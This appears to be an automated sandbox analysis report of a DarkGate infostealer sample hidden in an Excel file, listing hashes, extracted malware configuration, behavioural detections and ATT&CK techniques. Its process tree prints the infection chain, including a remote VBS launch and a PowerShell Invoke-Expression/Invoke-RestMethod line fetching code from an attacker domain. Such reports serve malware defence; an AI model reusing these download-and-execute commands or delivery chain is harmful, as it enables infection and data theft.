darkgate | a61448b1210aaaa33e398b1500701942ee2f4feb348420d628cc9d66974dfc31

Analysis

max time kernel
299s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
19-03-2024 17:55

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General

Target

march19-D7526-2024.xlsx
Size

56KB
MD5

73adc9b2f25226f214f91ec8c2d413a8
SHA1

39f8eab6c1d56fff2b3e6eddf56d8d544ccae9ae
SHA256

a61448b1210aaaa33e398b1500701942ee2f4feb348420d628cc9d66974dfc31
SHA512

2169548500a7364c53f7180ada02ecdc85601d7b743b5b40ce9ba330e6fa296489594fc02a443c18bb0381aa100892b791affe02319f89ba1cc3a8c55f37a53f
SSDEEP

1536:Fkws9oLE3Ow6DyPgMUti9xx7bxNfI5ydaRLgIui3pqDyBROnlTF:FSoEOfEgMNdxI5yYhgu5zBRYx

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

badbutperfect.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
WZqqpfdY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/2264-96-0x0000000003180000-0x00000000031F3000-memory.dmp	family_darkgate_v6
behavioral2/memory/2264-98-0x0000000003180000-0x00000000031F3000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4940	5236	WScript.exe	88
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3628	5236	WScript.exe	88

Blocklisted process makes network request 8 IoCs

flow	pid	Process
71	5528	powershell.exe
73	5528	powershell.exe
85	5528	powershell.exe
90	5528	powershell.exe
103	2076	powershell.exe
104	2076	powershell.exe
142	2076	powershell.exe
145	2076	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
2264	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5236	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5528	powershell.exe
5528	powershell.exe
5528	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5528	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE
5236	EXCEL.EXE

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 5236 wrote to memory of 4940	5236	EXCEL.EXE	104
PID 5236 wrote to memory of 4940	5236	EXCEL.EXE	104
PID 4940 wrote to memory of 5528	4940	WScript.exe	105
PID 4940 wrote to memory of 5528	4940	WScript.exe	105
PID 5236 wrote to memory of 3628	5236	EXCEL.EXE	108
PID 5236 wrote to memory of 3628	5236	EXCEL.EXE	108
PID 3628 wrote to memory of 2076	3628	WScript.exe	109
PID 3628 wrote to memory of 2076	3628	WScript.exe	109
PID 5528 wrote to memory of 1160	5528	powershell.exe	115
PID 5528 wrote to memory of 1160	5528	powershell.exe	115
PID 2076 wrote to memory of 2264	2076	powershell.exe	116
PID 2076 wrote to memory of 2264	2076	powershell.exe	116
PID 2076 wrote to memory of 2264	2076	powershell.exe	116
PID 2076 wrote to memory of 4984	2076	powershell.exe	117
PID 2076 wrote to memory of 4984	2076	powershell.exe	117

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1160	attrib.exe
4984	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\march19-D7526-2024.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5236
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5528
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/rimz
      4⤵
      Views/modifies file attributes
      PID:1160
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2076
  - - C:\rimz\AutoHotkey.exe
      "C:\rimz\AutoHotkey.exe" script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:2264
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/rimz
      4⤵
      Views/modifies file attributes
      PID:4984

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56c43715e0e7fa58012d8a5769d8d568

SHA1
4370ca3436f2e3a95b47a728503a2c22a5a5fa39

SHA256
8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5

SHA512
b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4906df08e7c6256d493c5d63ec475316

SHA1
91cddea276ddbd049b8e12d66e7fb25477acde76

SHA256
1d43810f94dcb8ecc79b461664289a8adc95550d67ed6f426fd6b86623b3e259

SHA512
0c110431e7368aa4b90fe762f073efaeaa948a471a2292058d72e140a408ad5bd0c9e845ce4060f97dba7f29eb899e6cf9b163b02544928dcb804c588d57d69c

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aqsgkylf.qu1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\rimz\AutoHotkey.exe

Filesize
558KB

MD5
9c07463d836dbac6fde1de78052cfd22

SHA1
d2c14d79cd002d6b1c159d9e665d2cfa501f9568

SHA256
e7f2d87766e22baee7bb11b9496bce6d525921377f730c19e2637a60c27dda98

SHA512
2f8d6dfa92f993d8860f6113122ce35fd04080c9c0fc0d3ff02a9511325c9aee1f36f144d19ac41b5ee5306c1462bbe01828c62f6e4989a98ee3f42ed891df13

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C:\rimz\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\rimz\script.ahk

Filesize
54KB

MD5
f02f0bba1f1f678da41abafd02f4c545

SHA1
c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452

SHA256
5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572

SHA512
8b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22

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C:\rimz\test.txt

Filesize
915KB

MD5
4e1b052f107d2ee5321b44fc0e107638

SHA1
679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4

SHA256
a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489

SHA512
5c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1

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memory/2076-94-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

Filesize
10.8MB

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memory/2076-79-0x000001C856E60000-0x000001C856E70000-memory.dmp

Filesize
64KB

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memory/2076-78-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

Filesize
10.8MB

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memory/2076-57-0x000001C856E60000-0x000001C856E70000-memory.dmp

Filesize
64KB

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memory/2076-56-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

Filesize
10.8MB

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memory/2264-96-0x0000000003180000-0x00000000031F3000-memory.dmp

Filesize
460KB

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memory/2264-98-0x0000000003180000-0x00000000031F3000-memory.dmp

Filesize
460KB

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memory/5236-11-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-10-0x00007FFC99710000-0x00007FFC99720000-memory.dmp

Filesize
64KB

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memory/5236-15-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-19-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-18-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-20-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-22-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-23-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-21-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-36-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-4-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-16-0x00007FFC99710000-0x00007FFC99720000-memory.dmp

Filesize
64KB

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memory/5236-3-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

Filesize
64KB

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memory/5236-1-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

Filesize
64KB

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memory/5236-6-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-5-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

Filesize
64KB

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memory/5236-14-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-13-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-12-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-2-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

Filesize
64KB

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memory/5236-7-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-8-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-17-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-9-0x00007FFCDBFF0000-0x00007FFCDC1E5000-memory.dmp

Filesize
2.0MB

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memory/5236-0-0x00007FFC9C070000-0x00007FFC9C080000-memory.dmp

Filesize
64KB

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memory/5528-73-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

Filesize
10.8MB

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memory/5528-70-0x000001CA75390000-0x000001CA753A0000-memory.dmp

Filesize
64KB

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memory/5528-50-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

Filesize
10.8MB

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memory/5528-49-0x000001CA761C0000-0x000001CA76382000-memory.dmp

Filesize
1.8MB

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memory/5528-48-0x000001CA75390000-0x000001CA753A0000-memory.dmp

Filesize
64KB

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memory/5528-47-0x00007FFCAF320000-0x00007FFCAFDE1000-memory.dmp

Filesize
10.8MB

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memory/5528-37-0x000001CA758D0000-0x000001CA758F2000-memory.dmp

Filesize
136KB

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